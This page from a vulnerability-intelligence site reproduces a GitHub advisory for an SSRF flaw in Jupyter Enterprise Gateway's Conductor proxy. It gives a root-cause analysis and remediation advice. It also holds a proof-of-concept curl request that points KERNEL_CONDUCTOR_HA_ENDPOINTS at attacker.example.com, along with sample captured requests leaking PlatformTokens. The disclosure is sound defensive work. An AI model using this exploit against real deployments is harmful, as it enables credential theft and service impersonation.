llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · jupyter_enterprise_gateway

GHSA-F53V-M7JV-638M

SSRF via KERNEL_CONDUCTOR_HA_ENDPOINTS leaks credentials from authenticated Conductor REST calls

Parche disponible
Descargar PNG JSON
CVSS 3.1
6.4
Media
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición8 dDesde la divulgación, 13 nov 2026, 5:58 p. m.
Detección5 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Tranqui, pero que no se quede en el olvido.Sin prisa pero sin pausa, como yo en el páramo.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 3.4.0
Monitoreo
Detectada +1
13 nov 26
19 nov 26
22 nov 26
13 nov 26
16 nov 26
18 nov 26
20 nov 26
22 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-F53V-M7JV-638M divulgada · CVSS 6.4 (GitHub)
Remediación Parche 3.4.0 jupyter_enterprise_gateway · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
GitHub

Summary

Jupyter Enterprise Gateway's Conductor process proxy accepts the user-controlled `KERNEL_CONDUCTOR_HA_ENDPOINTS` environment variable, splits it on commas, and appends the resulting hostnames to the high-availability failover list used by all authenticated REST calls to IBM Spectrum Conductor. When the legitimate Conductor host is temporarily unreachable (maintenance, rolling update, or network event), the HA loop falls through to the attacker-supplied hostname, sending authenticated requests that carry JWT access tokens, EGO Platform tokens, or EGO service credentials in their `Authorization` headers to the attacker's server. No host allowlist or validation exists.

Root Cause

`ConductorClusterProcessProxy._performConductorJWTLogonAndRetrieval` at `enterprise_gateway/services/processproxies/conductor.py:683` builds the HA failover list by calling `env["KERNEL_CONDUCTOR_HA_ENDPOINTS"].split(",")`, then inserts the configured legitimate host at index 0 (line 684). `_performRestCall` (lines 630-654) iterates this list, replacing the URL host at line 634 with each entry in turn and executing `curl` with the replaced URL. The loop returns on the first host that does not produce a connection-level error (DNS failure, refused connection). Because attacker-supplied hostnames follow the legitimate host, they are contacted whenever the legitimate host is unreachable. The security invariant that authenticated Conductor requests are sent only to operator-approved endpoints is never enforced.

# enterprise_gateway/services/processproxies/conductor.py
HA_LIST = env["KERNEL_CONDUCTOR_HA_ENDPOINTS"].split(",")   # L683
HA_LIST.insert(0, host)                                      # L684 (legitimate host first)

# _performRestCall (L630-654):
for HA in HA_LIST:
    url = url[0:slash+3] + HA + url[portcolon:]   # L634: host replacement
    cmd[-1] = url
    process = subprocess.Popen(cmd, ...)            # L637: curl with Authorization header
    output, stderr = process.communicate()
    if "Could not resolve host" not in stderr \
       and "Failed connect to" not in stderr \
       and "Connection refused" not in stderr:
        return output, stderr                       # L650: return on first success

Impact

An authenticated Enterprise Gateway user who can create kernels on a Conductor-configured deployment can set `KERNEL_CONDUCTOR_HA_ENDPOINTS` to an attacker-controlled hostname. When the legitimate Conductor host experiences a connection-level failure (a condition inherent to the HA design), the server sends up to four authenticated REST requests to the attacker's host:

  1. JWT logon (line 693): carries the attacker's own JWT (no confidentiality gain).
  2. EGO token logon (line 705): carries a `PlatformToken` obtained from the legitimate host's JWT logon response (real credential, not attacker-supplied).
  3. Anaconda instance query (line 717): carries the same `PlatformToken`.
  4. Instance group query (line 739): carries the same `PlatformToken`.

If the legitimate host succeeds for the first call but fails for subsequent calls, the attacker captures a real `PlatformToken` they could not otherwise obtain. Stolen credentials enable the attacker to impersonate the Enterprise Gateway service against the real Conductor cluster, including submitting and managing Spark applications. In a full-failover scenario, the attacker also controls all REST responses, which are used to set kernel environment variables (`KERNEL_PYSPARK_PYTHON`, `KERNEL_SPARK_HOME`, `KERNEL_NOTEBOOK_MASTER_REST`), plausibly enabling further environment variable injection.

This finding requires two non-default but standard Conductor JWT deployment settings: `EG_KERNEL_HEADERS` must include `Jwt-Auth-User-Payload`, and `EGO_SERVICE_CREDENTIAL` must not be set in the server's process environment.

Proof of Concept

Dependencies: a running Jupyter Enterprise Gateway configured with a
ConductorClusterProcessProxy kernelspec, JWT-based authentication
(EG_KERNEL_HEADERS=Jwt-Auth-User-Payload), no EGO_SERVICE_CREDENTIAL
in server env, and an authenticated user session.
  1. Set up a listening server on `attacker.example.com:8443` to capture incoming HTTP requests and their headers.
  2. Authenticate to the Enterprise Gateway REST API.
  3. POST a kernel creation request with the Conductor kernelspec, including a valid `Jwt-Auth-User-Payload` header and `KERNEL_CONDUCTOR_HA_ENDPOINTS` pointing to the attacker host.
  4. Wait for the legitimate Conductor host to become temporarily unreachable, or observe the response; the SSRF fires on the next kernel lifecycle operation that encounters a connection failure to the legitimate host.
curl -s -X POST http://eg-host:8888/api/kernels \
  -H 'Authorization: token <session-token>' \
  -H 'Content-Type: application/json' \
  -H 'Jwt-Auth-User-Payload: {"accessToken":"attacker-jwt-value"}' \
  -d '{
        "name": "conductor_python",
        "env": {
          "KERNEL_USERNAME": "attacker",
          "KERNEL_CONDUCTOR_HA_ENDPOINTS": "attacker.example.com",
          "KERNEL_IG_UUID": "00000000-0000-0000-0000-000000000000",
          "KERNEL_CURL_SECURITY_OPT": "-k",
          "KERNEL_TOPOLOGY": "test"
        }
      }'
# On the attacker's listening server when legitimate Conductor host fails:
GET /auth/logon/jwt?topology=test HTTP/1.1
Host: attacker.example.com:8443
Authorization: Bearer attacker-jwt-value
Accept: application/json

# If first call succeeds on legitimate host but second call fails over:
GET /platform/rest/ego/v1/auth/logon HTTP/1.1
Host: attacker.example.com:8443
Authorization: PlatformToken token=<real-platform-token-from-legitimate-host>
Accept: application/json

Attack Chain

  1. Exposure: The attacker reaches `POST /api/kernels` on the Enterprise Gateway REST API with any authenticated session, providing the `Jwt-Auth-User-Payload` request header.
  2. Control: The JSON `env` dict carries `KERNEL_CONDUCTOR_HA_ENDPOINTS` set to an attacker-controlled hostname. The handler accepts the value because the key starts with `KERNEL_` (`enterprise_gateway/services/kernels/handlers.py:57`); version 3.3.0 performs no character check, and hostnames contain no characters the unreleased filter would reject.
  3. Path: The value propagates through `_capture_user_overrides` (`remotemanager.py:521-528`) and `env.update(self.user_overrides)` at `remotemanager.py:568` into `self.env` at `conductor.py:60`. The JWT auth branch at `conductor.py:67` is entered because `Jwt-Auth-User-Payload` is present in `self.kernel_headers`.
  4. Guard: No host allowlist or URL validation exists. The only "guard" is the HA failover loop's ordering: the legitimate host is tried first, and attacker hosts are contacted only on connection failure. This is a reliability mechanism, not a security control.
  5. Primitive: `_performRestCall` (`conductor.py:630-654`) replaces the URL host with the attacker's hostname at line 634 and sends the authenticated `curl` request at line 637, including `Authorization` headers with JWT tokens or EGO Platform tokens.
  6. Result: The attacker captures real Conductor credentials from the `Authorization` headers when the legitimate host is unreachable. Stolen `PlatformToken` values enable impersonation of the Enterprise Gateway service against the Conductor cluster.

Bypass Evidence

No host allowlist or hostname validation exists anywhere in `enterprise_gateway/services/processproxies/conductor.py`. The connection-error check at lines 645-650 (testing for "Could not resolve host", "Failed connect to", "Connection refused" in curl stderr) serves HA failover logic, not security; an attacker host that accepts connections passes all three checks. The published 3.3.0 release has no `PROHIBITED_ENV_VALUE_CHARS` check, and the unreleased filter rejects only `$`, backtick, newlines, carriage returns, and NUL, none of which appear in valid hostnames. The strongest disproof attempt is that the legitimate host is always tried first and, when reachable, prevents failover to the attacker. This reduces exploitation reliability (reflected as AC:H) but does not block it: the HA mechanism exists because host failures are expected in production, and maintenance windows or infrastructure events create exploitable windows.

Affected Versions

  • Ecosystem: `pip`
  • Package: `jupyter_enterprise_gateway`
  • Confirmed affected range: `<= 3.3.0`
  • Latest release checked: `3.3.0` (PyPI jupyter-enterprise-gateway 3.3.0 https://pypi.org/project/jupyter-enterprise-gateway/3.3.0/)
  • Fix status: not fixed

`conductor.py` is byte-identical between the `v3.3.0` tag and the current `main` branch. The `KERNEL_CONDUCTOR_HA_ENDPOINTS` `.split(",")` pattern is present at line 683 in both versions. No fix exists on any branch.

Suggested Fix

Validate `KERNEL_CONDUCTOR_HA_ENDPOINTS` against an operator-configured allowlist of legitimate Conductor hosts before constructing the HA failover list. The simplest approach is to reject user overrides for this variable entirely (exclude it from the `KERNEL_*` passthrough in the handler, or strip it from `user_overrides` before `env.update`). If user-supplied HA hosts are operationally needed, require each entry to match a server-side allowlist of approved Conductor endpoint hostnames. The fix must apply to every path through `_performRestCall` that uses the HA list. As an interim mitigation, operators can set `EG_CLIENT_ENVS` to a restricted list that excludes `KERNEL_CONDUCTOR_HA_ENDPOINTS`, preventing client-side override of this value.

Reported by zx (GitHub: @manus-pi).

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:L
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
5.9/ 10Medio
Vector 5.9 (moderada) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
jupyter_enterprise_gateway≤ 3.3.0
3.3.0
3.4.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypijupyter_enterprise_gateway
Corregida 3.4.0 0 d 3.4.0 no afectada
Versiones corregidas3.4.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-f53v-m7jv-638m

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.